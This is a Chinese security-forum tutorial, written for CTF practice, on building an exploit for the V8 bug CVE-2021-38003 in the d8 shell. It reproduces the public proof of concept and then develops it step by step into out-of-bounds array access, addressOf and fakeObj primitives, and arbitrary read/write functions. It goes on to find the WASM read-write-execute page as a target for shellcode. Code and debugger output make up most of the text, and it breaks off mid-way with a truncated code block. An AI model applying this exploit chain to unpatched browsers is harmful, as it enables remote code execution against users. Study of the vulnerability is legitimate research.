[原创]从POC到EXP：从0基础到v8 CVE-2021-38003复现-CTF对抗-看雪安全社区

[原创]从POC到EXP：从0基础到v8 CVE-2021-38003复现

发表于: 2026-5-12 16:38 10897

[原创]从POC到EXP：从0基础到v8 CVE-2021-38003复现

sysNow

2026-5-12 16:38

10897

# 从POC到EXP：从0基础到v8 CVE-2021-38003复现

> 此文章首发于**奇安信攻防社区**2ebK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6X3L8%4u0#2L8g2)9J5k6h3u0#2N6r3W2S2L8W2)9J5k6h3&6W2N6q4)9J5c8Y4y4Z5j5i4u0W2i4K6u0r3y4o6R3#2x3b7`.`.

## 参考文献

<a href="elink@626K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6K6N6r3q4J5L8r3q4T1M7#2)9J5k6i4y4Y4i4K6u0r3j5X3I4G2k6#2)9J5c8U0t1H3x3U0u0Q4x3V1j5I4x3W2)9J5k6s2c8Z5k6g2)9J5k6r3S2G2L8r3g2Q4x3X3c8F1k6i4N6Q4x3X3c8%4L8%4u0D9k6q4)9J5k6r3S2G2N6#2)9J5k6r3q4Q4x3X3c8K6L8h3q4D9L8q4)9J5k6r3I4W2j5h3E0Q4x3X3c8%4K9h3I4D9i4K6u0V1M7$3W2F1K9#2)9J5k6r3q4Q4x3X3c8Y4M7X3g2S2N6q4)9J5k6r3u0J5L8%4N6K6k6i4u0Q4x3X3c8U0N6X3g2Q4x3X3b7J5x3o6t1I4i4K6u0V1x3K6R3H3x3o6y4Q4x3V1j5`.">TheHole New World - how a small leak will sink a great browser (CVE-2021-38003)</a>

[V8 Deep Dives] <a href="elink@a43K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6A6N6r3&6W2P5s2c8Q4x3X3g2A6L8#2)9J5c8Y4j5^5i4K6u0V1k6r3g2W2M7q4)9J5k6r3c8A6N6X3g2K6i4K6u0V1N6h3&6V1k6i4u0K6N6r3q4F1k6r3W2F1k6#2)9J5k6r3#2S2M7q4)9J5k6r3W2F1N6r3g2J5L8X3q4D9M7#2)9J5k6o6b7#2k6h3t1&6y4r3p5I4z5o6y4V1k6R3`.`.">Understanding Map Internals</a>

<a href="elink@675K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6%4N6%4N6Q4x3X3g2S2L8Y4q4#2j5h3&6C8k6g2)9J5k6h3y4G2L8g2)9J5c8Y4m8G2M7%4c8Q4x3V1k6A6k6q4)9J5c8U0t1$3y4K6f1I4z5q4)9J5x3$3R3J5i4K6u0V1x3l9`.`.">从 0 开始学 V8 漏洞利用系列篇</a>

<a href="elink@0a6K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Y4K9i4c8Z5N6h3u0Q4x3X3g2U0L8$3#2Q4x3V1k6q4M7X3!0V1k6h3c8q4L8r3E0Q4x3V1k6o6K9r3q4G2M7#2)9J5k6r3#2W2i4K6u0V1d9X3q4$3j5g2y4U0M7X3W2H3N6q4)9J5k6q4j5^5i4K6u0r3N6s2u0W2k6g2)9J5c8X3#2S2M7%4c8W2M7R3`.`.">Chaos-me-JavaScript-V8</a>

[手把手教你入门V8漏洞利用](https://bbs.kanxue.com/thread-258431-1.htm)

## 前言

最近在做2026年SUCTF的赛题复现，做到<a href="elink@23cK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Y4K9i4c8Z5N6h3u0Q4x3X3g2U0L8$3#2Q4x3V1k6@1k6h3q4E0i4K6u0V1M7%4g2Q4x3V1k6e0g2f1y4f1c8W2)9J5k6o6t1H3x3U0k6Q4x3V1k6@1M7X3g2W2i4K6u0r3L8h3q4A6L8W2)9J5c8Y4m8%4L8W2)9J5c8W2y4g2i4K6g2X3b7X3!0^5i4K6u0r3N6%4u0A6N6r3g2#2M7l9`.`.">SU_BOX</a>这一题的时候发现是一个v8引擎利用，之前也没有学过v8就一边学一边做了这一题，学习的过程中也踩了很多坑……

## 编译与调试

编译的主要流程参考了<a href="elink@80fK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6%4N6%4N6Q4x3X3g2S2L8Y4q4#2j5h3&6C8k6g2)9J5k6h3y4G2L8g2)9J5c8Y4m8G2M7%4c8Q4x3V1k6A6k6q4)9J5c8U0t1$3y4K6f1I4z5q4)9J5x3$3R3J5i4K6u0V1x3l9`.`.">从 0 开始学 V8 漏洞利用系列篇</a>这一篇文章，这个文章将编译的流程写成了脚本，方便后续编译不同版本的v8。

需要注意的是，编译的参数最好按照官方的来，比如SU_BOX使用的是<a href="elink@7fbK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Y4K9i4c8Z5N6h3u0Q4x3X3g2U0L8$3#2Q4x3V1k6W2j5$3I4A6M7s2y4W2M7$3!0#2M7X3y4W2i4K6u0r3d9U0u0h3z5q4)9J5c8Y4c8J5k6h3g2Q4x3V1j5H3x3r3c8V1k6r3q4S2x3K6q4S2z5o6l9%4z5o6u0S2j5X3u0W2z5e0y4U0y4r3p5H3x3h3j5K6x3U0g2V1j5U0y4U0y4o6V1%4y4h3b7$3">J2V8</a>，其编译v8的方式是这样的
```bash
target_os = "linux"
target_cpu = "x64"
is_component_build = false
is_debug = false
use_custom_libcxx = false
v8_monolithic = true
v8_use_external_startup_data = false
symbol_level = 0
v8_enable_i18n_support= false
v8_enable_pointer_compression = false
```

那我们就要在编译参数上尽可能相同，在此基础上添加部分调试参数进行编译

```bash
target_os = "linux"
target_cpu = "x64"
is_component_build = false
is_debug = false
use_custom_libcxx = false
v8_monolithic = true
v8_use_external_startup_data = false
symbol_level = 2
v8_enable_i18n_support= false
v8_enable_pointer_compression = false
v8_enable_backtrace = true
v8_enable_disassembler = true
v8_enable_object_print = true
v8_enable_verify_heap = true
```

所以写成build.sh脚本是这样的，由于我是在docker中编译的，因此很多路径都是绝对路径，需要进行修改

```bash
#!/bin/bash
VER=$1
if [ -z $2 ]; then
        NAME=$VER
else
        NAME=$2
fi
cd /work/v8_dev/v8

git reset --hard $VER
gclient sync -D
gn gen /work/v8_dev/out/x64_$NAME.release --args='target_os = "linux"
target_cpu = "x64"
is_component_build = false
is_debug = false
use_custom_libcxx = false
v8_monolithic = true
v8_use_external_startup_data = false
symbol_level = 2
v8_enable_i18n_support= false
v8_enable_pointer_compression = false
v8_enable_backtrace = true
v8_enable_disassembler = true
v8_enable_object_print = true
v8_enable_verify_heap = true'
ninja -C /work/v8_dev/out/x64_$NAME.release d8
```

如果不按照官方给的参数编译的话，有可能POC无法跑通，就直接影响后续的漏洞利用

同时，经过多次尝试，我建议在运行ubuntu 20.04或者ubuntu 22.04且运行python 3.9或者python 3.10的系统环境中构建，过高或者过低的系统/python版本都会导致编译出错。编译完之后的目录是这样子的

![image-20260331214807313](upload/attach/202605/1007352_SRFAQ2W4FV4ZUC6.png)

其中可执行文件d8就是我们攻击的目标文件

![image-20260331215052227](upload/attach/202605/1007352_QD5N52XHUZ4YQ2W.png)

同时需要将这两个文件导入到gdbinit文件中，这样才能使用v8的调试指令

我们将以下内容写在test.js中

```javascript
a= [1.1, 2.2];
%DebugPrint(a);
%SystemBreak();
```

`%SystemBreak()`就是断点，程序会断在这里；`%DebugPrint(a)`就是将a列表的调试数据打印到终端

![image-20260331215643399](upload/attach/202605/1007352_CNVEWNMME9E3X92.png)

在gdb中调试d8文件，然后运行的时候带上--allow-natives-syntax参数才能使用`%SystemBreak()` `%DebugPrint()`两条调试指令，运行效果如下

![image-20260331220906009](upload/attach/202605/1007352_MZ6PBT97URTZ88Q.png)

也可以在gdb中使用job指令查看对象

![image-20260331220919903](upload/attach/202605/1007352_NDHVYY559WXPFUC.png)

需要注意的是，v8为了体现数据和地址的不同采用了不同的策略：地址+1存储，也就是说如果0x41414140作为对象地址存储就会变成0x41414141，这一点非常重要，所以这个对象的真实地址是0x3655bb30ee01-1=0x3655bb30ee00

配合x指令打印具体地址信息，可以看到JSArray结构体其实是这样排布的

![image-20260331221123711](upload/attach/202605/1007352_W6AH4UPK96PXNX2.png)

## 数据的底层存储

回到刚刚的程序

```javascript
a= [1.1, 2.2];
%DebugPrint(a);
%SystemBreak();
```

JSArray结构体用示意图来表示是这样的

![image-20260331222708109](upload/attach/202605/1007352_YW7S6S9XFAM8MWK.png)

> 高版本的v8中存在地址压缩，在这个版本中部分字段占8字节，具体每个字段占几个字节需要根据具体版本进行调试分析

我们看一下element是如何存储的

![image-20260331222840946](upload/attach/202605/1007352_KE8YN55J4QQXWEN.png)

可以看到数据其实是存储在一个FixedDoubleArray结构体对象里的，同时可以看到这个结构体的存储位置是JSArray结构体的上方，示意图如下：

![image-20260331223754167](upload/attach/202605/1007352_M78TE3GXGP2BBCU.png)

我们调试一下下面的程序，看看其中其他数据类型的存储和浮点类型的数据存储有什么不同

```javascript
a = [1.1, 2.2];
b = [0x3333, 0x4444];
c = [a, b];
%DebugPrint(a);
%DebugPrint(b);
%DebugPrint(c);
%SystemBreak();
```

这是b对象的信息

![image-20260401201212373](upload/attach/202605/1007352_8PYMME4F4E4BJ33.png)

示意图如下，可以看到在这个数据结构中存储element的结构体和JSArray结构体并不是在内存上相邻的

![image-20260401202059855](upload/attach/202605/1007352_72XBT73GMR4PQW8.png)

这是c对象的信息

![image-20260401202405853](upload/attach/202605/1007352_V9EMGJ4BHYWKCPN.png)

示意图如下，可以看到在这个数据结构中存储对象的FixedArray结构体和JSArray结构体在内存上相邻的

![image-20260401202804873](upload/attach/202605/1007352_EVGAWM6D9GC8VUY.png)

OK，那么我们可以简单总结一下：**如果一个JSArray结构体存储的是浮点数和对象，那么这个结构体存储元素的地址和它本身是相邻的**

如果我们能通过一个漏洞修改浮点数JSArray的length字段，就可以通过索引来进行越界读写，这其实就是v8漏洞利用的**核心**

## v8漏洞利用原理

了解了v8底层的数据存储就可以正式开始学习v8的漏洞利用了

### v8类型混淆

v8是如何判断一个JSArray结构体中存储的是浮点数、整数还是对象的呢，其实就是看JSArray的Map，每一种类型的Map都不一样

如果我们将一个存储对象的JSArray结构体的Map修改为浮点数数组对应的Map，那么读取这个结构体的时候就会返回一个浮点数

![image-20260401205710362](upload/attach/202605/1007352_B7RGNHJAUES373F.png)

我们拿到的浮点数是什么呢？诶，这就是对象的地址，v8漏洞利用中我们就可以通过这个方式来泄露对象的地址。我们将这个流程封装成函数`addressOf`，可以这么调用

```javascript
var victim_arr_addr = addressOf(victim_arr);
```

将一个存储浮点数的JSArray结构体的Map修改为对象数组对应的Map，那么我读取这个结构体的时候就能返回一个对象，我们可以通过这个功能构造一个fake Object，将这个流程封装成函数`fakeObj()`，可以这样调用

```javascript
var fake_object = fakeObj(fake_object_addr);
```

fake Object有什么用呢，我们可以通过这个fake Object来达到任意地址读和任意地址写的效果

获得`addressOf`和`fakeObj`原语，基本就是靠我们上一块所讲的修改浮点数JSArray的length字段以达到越界写来实现的

### 工具函数

```javascript
var f64 = new Float64Array(1);
var bigUint64 = new BigUint64Array(f64.buffer);
var u32 = new Uint32Array(f64.buffer);

// Double to Uint32
function d2u(v) {
  f64[0] = v;
  return u32;
}

// Uint32 to Double
function u2d(lo, hi) {
  u32[0] = lo;
  u32[1] = hi;
  return f64[0];
}

// Float to Integer
function ftoi(f)
{
  f64[0] = f;
  return bigUint64[0];
}

// Integer to Float
function itof(i)
{
  bigUint64[0] = i;
  return f64[0];
}

function hex(i)
{
  return i.toString(16).padStart(8, "0");
}
```

由于在v8漏洞中主要利用的还是浮点数的存储，因此需要一些工具函数用于大整数与浮点数之间的互转，函数定义如上，可以直接拿着用

### 任意地址读写

首先我们要通过漏洞实现`addressOf`和`fakeObj`原语，同时已经泄露出了浮点数JSArray的Map值，将其定义为DOUBLE_MAP常量，随后定义or修改浮点数对象如下：

```javascript
var victim = [DOUBLE_MAP, 0n, addr, itof(0x0000000100000000n)];
```

此时内存中是这样存储的

![image-20260401212535943](upload/attach/202605/1007352_G2592M86NP883U6.png)

然后通过`addressOf`原语获得标红区域的内存，将其传入`fakeObj`原语中，就可以拿到fake Object，将其定义为fake_object

最后我们可以通过`fake_object[0]`来进行任意地址读，由于这个fake_object是伪造的存储浮点数的JSArray，因此通过`fake_object[0]`获取的值并不是addr中存储的数据，而是`addr+0x10`中存储的数据，原理可以看下面这一张图，因为addr应该是一个FixedDoubleArray结构体的地址，而存储数据的地址是`addr+0x10`

![image-20260401213220982](upload/attach/202605/1007352_YZ4QWJHDSXUUUSH.png)

我们可以将其封装成`read64`函数

```javascript
function read64(addr)
{
  victim_arr[2] = itof(addr - 0x10n + 0x1n);
  return ftoi(fake_object[0]);
}
```

这里的addr就是我们想泄露的地址，那么写到fake_object中就应该是`addr-0x10+1`

> 这个1的产生就是我们之前说过的v8存储地址和普通程序的差异

任意地址写和任意地址读差不多，无非就是最后的从fake_object获取值改成了修改fake_object的存储的值

```javascript
function write64(addr, data)
{
  victim_arr[2] = itof(addr - 0x10n + 0x1n);
  fake_object[0] = itof(data);
}
```

### 挟持WASM段

由于低版本v8中会给WASM一个可读可写可执行的段，因此我们可以考虑通过shellcode替换原有的WASM内容以达到执行shellcode的效果

```javascript
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;
%DebugPrint(f);
%DebugPrint(wasmInstance);
%SystemBreak();
```

![image-20260402123048418](upload/attach/202605/1007352_KW2G3QU7HDY6GXT.png)

当执行到断点时，vmmap就可以看到出现了一个可读可写可执行段，我们只需要想办法把shellcode写入这个段的开始地址，也就是0x11d80365f000，随后执行`f()`就可以触发shellcode

需要注意的是，在较高版本的v8中，WASM段已经不是可读可写可执行了，而是变成了可读可执行，因此就没有办法通过这个方式来进行利用了

### 任意地址写plus

我们回头看看之前的任意地址写，如果通过之前的方式写入shellcode会导致以下两个问题

1. 设置的elements地址为`addr-0x10+1`，但想要写shellcode的地址一般都是内存段在开头（即之前的0x11d80365f000），那么更前面的内存空间则是未开辟的（`0x11d80365f000-0x10+1`），写入时会因为访问未开辟的内存空间发生异常
2. 在尝试写以0x7f开头的地址（如free_hook），Double类型的浮点数在处理这些高地址时会将低20位置零，导致地址错误（这一点跟版本有关，有待调试）

因此我们需要一种向某个对象中写入数据不需要经过map和length的方式来实现任意地址写

```javascript
var data_buf = new ArrayBuffer(0x10);
var data_view = new DataView(data_buf);
data_view.setFloat64(0, itof(0x41414141n), true);
%DebugPrint(data_buf);
%DebugPrint(data_view);
%SystemBreak();
```

调试结果如下

![image-20260402132746936](upload/attach/202605/1007352_DFQ42CMWYGUXVHE.png)

可以看到，本质上来说`setFloat64`是在向JSArrayBuffer的backing_store指向的内存中写入内容，那么我们只要通过原有的任意地址写`write64`控制这个字段为可读可写可执行段的开始地址，就可以通过`setFloat64`方法向内存中无限制写入数据

讲到这里，v8漏洞利用就差不多了，可以开始具体分析题目了，因为`addressOf`和`fakeObj`原语都和具体题目有关，不同的题目获得原语的方式也不同。获得了这两个原语才能再写`read64`函数和`write64`函数

## CVE-2021-38003

这个CVE的POC可以从谷歌纰漏漏洞的网站找到26eK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6A6M7%4y4#2k6i4y4Q4x3X3g2U0K9s2u0G2L8h3W2#2L8g2)9J5k6h3!0J5k6#2)9J5c8X3W2K6M7%4g2W2M7#2)9J5c8U0b7H3x3o6f1%4y4K6p5H3

关于漏洞产生的原理本文不过多赘述，我们关注于漏洞点的利用，也就是已知CVE如何利用漏洞

```javascript
function trigger() {
 let a = [], b = [];
 let s = '"'.repeat(0x800000);
 a[20000] = s;
 for (let i = 0; i < 10; i++) a[i] = s;
 for (let i = 0; i < 10; i++) b[i] = a;

try {
        JSON.stringify(b);
    } catch (hole) {
        return hole;
    }
    throw new Error('could not trigger');
}

let hole = trigger();

var map = new Map();
map.set(1, 1);
map.set(hole, 1);
// Due to special handling of hole values, this ends up setting the size of the map to -1
map.delete(hole);
map.delete(hole);
map.delete(1);

// Set values in the map, which presumably ends up corrupting data in fron of
// the map storage due to the size being -1
for (let i = 0; i < 100; i++) {
 map.set(i, 1);
}
```

我们将最后的循环删掉，然后打印一下map.size，看看POC有没有生效

```javascript
function trigger() {
 let a = [], b = [];
 let s = '"'.repeat(0x800000);
 a[20000] = s;
 for (let i = 0; i < 10; i++) a[i] = s;
 for (let i = 0; i < 10; i++) b[i] = a;

try {
        JSON.stringify(b);
    } catch (hole) {
        return hole;
    }
    throw new Error('could not trigger');
}

let hole = trigger();

var map = new Map();
map.set(1, 1);
map.set(hole, 1);
// Due to special handling of hole values, this ends up setting the size of the map to -1
map.delete(hole);
map.delete(hole);
map.delete(1);

print("map.size =", map.size)
```

![image-20260402134235807](upload/attach/202605/1007352_MYGPETM3VAA7CBY.png)

可以看到POC是有效的，那么我们就可以将这个POC改写成EXP进行利用

修改POC的整体流程可以配合53dK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6K6N6r3q4J5L8r3q4T1M7#2)9J5k6i4y4Y4i4K6u0r3j5X3I4G2k6#2)9J5c8U0t1H3x3U0u0Q4x3V1j5I4x3W2)9J5k6s2c8Z5k6g2)9J5k6r3S2G2L8r3g2Q4x3X3c8F1k6i4N6Q4x3X3c8%4L8%4u0D9k6q4)9J5k6r3S2G2N6#2)9J5k6r3q4Q4x3X3c8K6L8h3q4D9L8q4)9J5k6r3I4W2j5h3E0Q4x3X3c8%4K9h3I4D9i4K6u0V1M7$3W2F1K9#2)9J5k6r3q4Q4x3X3c8Y4M7X3g2S2N6q4)9J5k6r3u0J5L8%4N6K6k6i4u0Q4x3X3c8U0N6X3g2Q4x3X3b7J5x3o6t1I4i4K6u0V1x3K6R3H3x3o6y4Q4x3V1j5`.

这篇文章食用，但是这篇文章的绝大多数数据需要在本地进行调试得出，我们接下来就开始我们的调试流程

### 调试

首先我们看一下正常的map对象是什么样子的

![image-20260402135808832](upload/attach/202605/1007352_UQVCM7JMRJ7QUSW.png)

JSMap在底层是通过OrderedHashMap实现的，因此我们重点需要分析OrderedHashMap这个结构体，这个结构体的原理可以看这篇文章733K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6A6N6r3&6W2P5s2c8Q4x3X3g2A6L8#2)9J5c8Y4j5^5i4K6u0V1k6r3g2W2M7q4)9J5k6r3c8A6N6X3g2K6i4K6u0V1N6h3&6V1k6i4u0K6N6r3q4F1k6r3W2F1k6#2)9J5k6r3#2S2M7q4)9J5k6r3W2F1N6r3g2J5L8X3q4D9M7#2)9J5k6o6b7#2k6h3t1&6y4r3p5I4z5o6y4V1k6R3`.`.

这个结构体的示意图如下：

![image-20260402194444073](upload/attach/202605/1007352_HBR3BS26HDE4ZYN.png)

当我们执行`map.set(key, value)`时，会先对我们的key取哈希，随后和`bucket_count-1`进行与操作，获得hash_table_index

随后current_index就是目前已经放入数据的个数，如果`hashTable[hash_table_index] == -1`就代表这个哈希表还是空的，就会将key和value写入dataTable中

```javascript
hash_table_index = hashcode(key) & (bucket_count-1)
 current_index = current_element_count
 if hashTable[hash_table_index] == -1: 
  // add new key-value
  // no boundary check
  dataTable[current_index].key = key
  dataTable[current_index].value = value
  ..........
 else:
  // update existing key-value in map
  // has boundary check
```

当触发`map.size == -1`的漏洞时，我们看一下此时新建键值对会对内存产生什么影响

```javascript
function trigger() {
 let a = [], b = [];
 let s = '"'.repeat(0x800000);
 a[20000] = s;
 for (let i = 0; i < 10; i++) a[i] = s;
 for (let i = 0; i < 10; i++) b[i] = a;

try {
        JSON.stringify(b);
    } catch (hole) {
        return hole;
    }
    throw new Error('could not trigger');
}

let hole = trigger();

var map = new Map();
map.set(1, 1);
map.set(hole, 1);
// Due to special handling of hole values, this ends up setting the size of the map to -1
map.delete(hole);
map.delete(hole);
map.delete(1);

print("map.size =", map.size)
map.set(0x41, 0x42);

%DebugPrint(map);
%SystemBreak();
```

![image-20260402145454092](upload/attach/202605/1007352_3BU256QRK47FEYY.png)

![image-20260402145509508](upload/attach/202605/1007352_43CDJGCF2UVZ53Z.png)

可以看到0x41和0x42这两个值分别放在了`buckets Count`和`hashTable[0]`的位置上，这样的话我们就可以通过这一次异常操作来挟持OrderedHashMap中hashTable和dataTable的个数，进而达到越界写的目的

![image-20260402145606255](upload/attach/202605/1007352_5S9ZU3WMW9H5JKG.png)

---

假设我们在这个结构体后方放一个JSArray，那么就有概率通过OrderedHashMap中的越界写来控制JSArray中的数据

```javascript
function trigger() {
 let a = [], b = [];
 let s = '"'.repeat(0x800000);
 a[20000] = s;
 for (let i = 0; i < 10; i++) a[i] = s;
 for (let i = 0; i < 10; i++) b[i] = a;

try {
        JSON.stringify(b);
    } catch (hole) {
        return hole;
    }
    throw new Error('could not trigger');
}

let hole = trigger();

var map = new Map();
map.set(1, 1);
map.set(hole, 1);
// Due to special handling of hole values, this ends up setting the size of the map to -1
map.delete(hole);
map.delete(hole);
map.delete(1);

print("map.size =", map.size)
oob_arr = [1.1, 1.1, 1.1, 1.1];

%DebugPrint(map);
%DebugPrint(oob_arr);
%SystemBreak();
```

我们调试这个程序

![image-20260402153404997](upload/attach/202605/1007352_MGQ8DRY46YW3AMU.png)

OrderedHashMap的内存数据如下

![image-20260402154250905](upload/attach/202605/1007352_P89RZFTVNSKC4QT.png)

oob_arr对象的数据如下

![image-20260402154313915](upload/attach/202605/1007352_3W58Z46BQZ3JVJ7.png)

可以看到oob_arr的length在0x298c5b7ad560的位置，和OrderedHashMap结构体的位置距离很近是有机会覆盖的，既然我们能够控制OrderedHashMap结构体的bucket数量，那么就可以拓展hashTable和dataTable到这个区域进行篡改

因此初步计划如下

![image-20260402155219446](upload/attach/202605/1007352_Q9YWAKP3R2NBENU.png)

第一次的异常操作来挟持bucket Count，使其`dataTable[0]`的位置与oob_array的length字段重叠，同时设置`hashTable[0] = -1`，此时current_element_count为0，这个时候，只要第二次`map.set(key, value)`满足`hashcode(key) & (bucket_count-1) == 0`，就能触发`hashTable[hash_table_index] == -1`，进而修改`dataTable[current_index].key = key`，从而达到修改length的目的

我们先解决设置bucket为多少的问题，再解决取什么key能达到要求的问题

经过调试我们可以发现，`hashTable[0]`的地址是0x298c5b7ad4a8

![image-20260402160215346](upload/attach/202605/1007352_96DP6HEFPQF9JFV.png)

oob_array的length地址是0x298c5b7ad560

![image-20260402160312305](upload/attach/202605/1007352_2NFBRPUVVPJJH4Y.png)

这样的话我们简单算一下，假设bucket的数值是n，那么`hashTable[n-1]`的地址就是0x298c5b7ad558，这样的话

```
(0x298c5b7ad558 - 0x298c5b7ad4a8) / 8 = 0x16
```

这样的话bucket就要设置成`0x16+1 = 0x17`，那么第一次就要执行`map.set(0x17, -1);`

接下来要挑选一个key能够满足`hashcode(key) & (bucket_count-1) == 0`的要求，v8的哈希算法是公开的，同时我们可以利用之前文章中已成型的程序将其bucket值改成0x17即可

```c++
#include <bits/stdc++.h>

using namespace std;

uint32_t ComputeUnseededHash(uint32_t key) {
 uint32_t hash = key;
 hash = ~hash + (hash << 15); // hash = (hash << 15) - hash - 1;
 hash = hash ^ (hash >> 12);
 hash = hash + (hash << 2);
 hash = hash ^ (hash >> 4);
 hash = hash * 2057; // hash = (hash + (hash << 3)) + (hash << 11);
 hash = hash ^ (hash >> 16);
 return hash & 0x3fffffff;
}

int main(int argc, char *argv[]) {
 uint32_t i = 0;
 while(i <= 0xffffffff) {
 
 /* bucket_count is 0x1c
 * hashcode(key) & (bucket_count-1) should become 0
 * we'll have to find a key that is large enough to achieve OOB read/write, while matching hashcode(key) & 0x1b == 0
 */
 
 uint32_t hash = ComputeUnseededHash(i);
 if (((hash & (0x17-1)) == 0) && (i > 0x100)) {
 printf("Found: %p\n", i);
 break;
 }
 i = (uint32_t)i+1;
 }
 return 0;
} 
```

![image-20260402161140825](upload/attach/202605/1007352_8TMPJQKZ85TUDPJ.png)

也就是说第二次set的key要等于0x103，而value不重要，我们设置成0（因为`dataTable[0].value`的位置已经不在JSArray结构体内了，不需要关注这个值）

综上所述，我们需要进行以下操作：

```javascript
map.set(0x17, -1);
map.set(0x103, 0);
```

我们写一个完整程序调试一下试试

```javascript
function trigger() {
 let a = [], b = [];
 let s = '"'.repeat(0x800000);
 a[20000] = s;
 for (let i = 0; i < 10; i++) a[i] = s;
 for (let i = 0; i < 10; i++) b[i] = a;

try {
        JSON.stringify(b);
    } catch (hole) {
        return hole;
    }
    throw new Error('could not trigger');
}

let hole = trigger();

var map = new Map();
map.set(1, 1);
map.set(hole, 1);
// Due to special handling of hole values, this ends up setting the size of the map to -1
map.delete(hole);
map.delete(hole);
map.delete(1);

print("map.size =", map.size)
oob_arr = [1.1, 1.1, 1.1, 1.1];

map.set(0x17, -1);
map.set(0x103, 0);

%DebugPrint(oob_arr);
%SystemBreak();
```

![image-20260402161535186](upload/attach/202605/1007352_4TJ2ZE8D2E4N59N.png)

可以看到JSArray结构体的length变成了0x103，成功进行了修改，接下来就可以通过这个oob_arr进行越界读写

### 获取addressOf和fakeObj原语

我们可以这样布置变量

```javascript
......
oob_arr = [1.1, 1.1, 1.1, 1.1];
victim_arr = [2.2, 2.2, 2.2, 2.2, 2.2, 2.2];
obj_arr = [{}, {}, {}, {}];

map.set(0x17, -1);
map.set(0x103, 0);
......
```

这样的话就可以通过oob_arr的越界读读取到存储浮点数的Map，定义为常量DOUBLE_MAP，可以通过越界读读取到存储对象的Map，定义为OBJECT_MAP

```javascript
......
print("map.size =", map.size)

oob_arr = [1.1, 1.1, 1.1, 1.1];
victim_arr = [2.2, 2.2, 2.2, 2.2, 2.2, 2.2];
obj_arr = [{}, {}, {}, {}];

map.set(0x17, -1);
map.set(0x103, 0);

%DebugPrint(oob_arr);
%DebugPrint(victim_arr)
// %DebugPrint(obj_arr)
%SystemBreak();
```

`oob_arr[0]`的地址是0x46f5552d528，存储浮点数的Map在内存0x46f5552d5a8中，可以通过`oob_arr[0x10]`访问到，同理可得，可以通过`oob_arr[0x36]`获取存储对象的Map

```javascript
oob_arr = [1.1, 1.1, 1.1, 1.1];
victim_arr = [2.2, 2.2, 2.2, 2.2, 2.2, 2.2];
obj_arr = [{}, {}, {}, {}];

map.set(0x17, -1);
map.set(0x103, 0);

const DOUBLE_MAP = ftoi(oob_arr[0x10]);
const OBJECT_MAP = ftoi(oob_arr[0x36]);
print("DOUBLE_MAP = 0x" + hex(DOUBLE_MAP));
print("OBJECT_MAP = 0x" + hex(OBJECT_MAP));
```

这样的话`addressOf`可以这样写，先把要泄露的地址写到`obj_arr[0]`中，然后修改obj_arr的Map为DOUBLE_MAP，随后就可以获取想要获取的对象地址了，最后要将obj_arr的Map重新修复为OBJECT_MAP，以便多次使用

```javascript
function addressOf(obj_to_leak)
{
    obj_arr[0] = obj_to_leak;
    oob_arr[0x36] = itof(DOUBLE_MAP);
    let target_var_addr = ftoi(obj_arr[0]);
    oob_arr[0x36] = itof(OBJECT_MAP);
    return target_var_addr;
}
```

`fakeObj`和`addressOf`基本一致，将伪造fake_object的地址填入victim_arr中，修改victim_arr的Map为OBJECT_MAP，从而获取fake_object，最后将victim_arr的Map修复为DOUBLE_MAP以便多次使用

```javascript
function fakeObj(addr_to_fake)
{
    victim_arr[0] = itof(addr_to_fake+1n);
    oob_arr[0x10] = itof(OBJECT_MAP);
    let fake_obj = victim_arr[0];
    oob_arr[0x10] = itof(DOUBLE_MAP);
    return fake_obj;
}
```

我们可以伪造`victim_arr[2]~victim[4]`为fake_object，通过这个fake_object来达到任意地址读写的能力

```javascript
victim_arr_addr = addressOf(victim_arr) - 1n;
print("victim_arr_addr = 0x" + hex(victim_arr_addr));

victim_arr[2] = itof(DOUBLE_MAP);
victim_arr[3] = itof(0n);
victim_arr[4] = itof(0x41414141n);
victim_arr[5] = itof(0x0000000100000000n);

fake_object_addr = victim_arr_addr - 0x20n;
fake_object = fakeObj(fake_object_addr);

%DebugPrint(fake_object)
%SystemBreak();
```

此时内存中是这样的

![image-20260402165621316](upload/attach/202605/1007352_5X5ZURRDGTH3XUT.png)

![image-20260402165138414](upload/attach/202605/1007352_TTETMGWYJGE4SWY.png)

可以看到我们的fake_object能被系统正常识别，报错是因为0x41414140地址无法访问，这个没关系，只要在地址未被正常设置前不使用`%DebugPrint(fake_object)`就不会有问题，可以正常进行`read64`和`write64`，因为这个地址会在这两个函数中被重写的

### 获得read64和write64

既然有了fake_object，那么`read64`和`write64`可以这样写

```javascript
function read64(addr)
{
    victim_arr[4] = itof(addr - 0x10n + 0x1n);
    return ftoi(fake_object[0]);
}
```

就是通过victim_arr修改fake_object指向element的地址，然后通过`fake_object[0]`读取

```javascript
function write64(addr, data)
{
    victim_arr[4] = itof(addr - 0x10n + 0x1n);
    fake_object[0] = itof(data);
}
```

`write64`的原理与`read64`相同，就是读取内存变成了对内存赋值

### 获取WASM可读可写可执行段

var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;

%DebugPrint(wasmInstance)
%SystemBreak();
```

对这个程序进行调试

![image-20260402181712567](upload/attach/202605/1007352_5GYH8JJZQBSZBT8.png)

可以看到RWX段在结构体开始地址+0x80的位置上，我们可以通过`read64`获取这个地址

var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
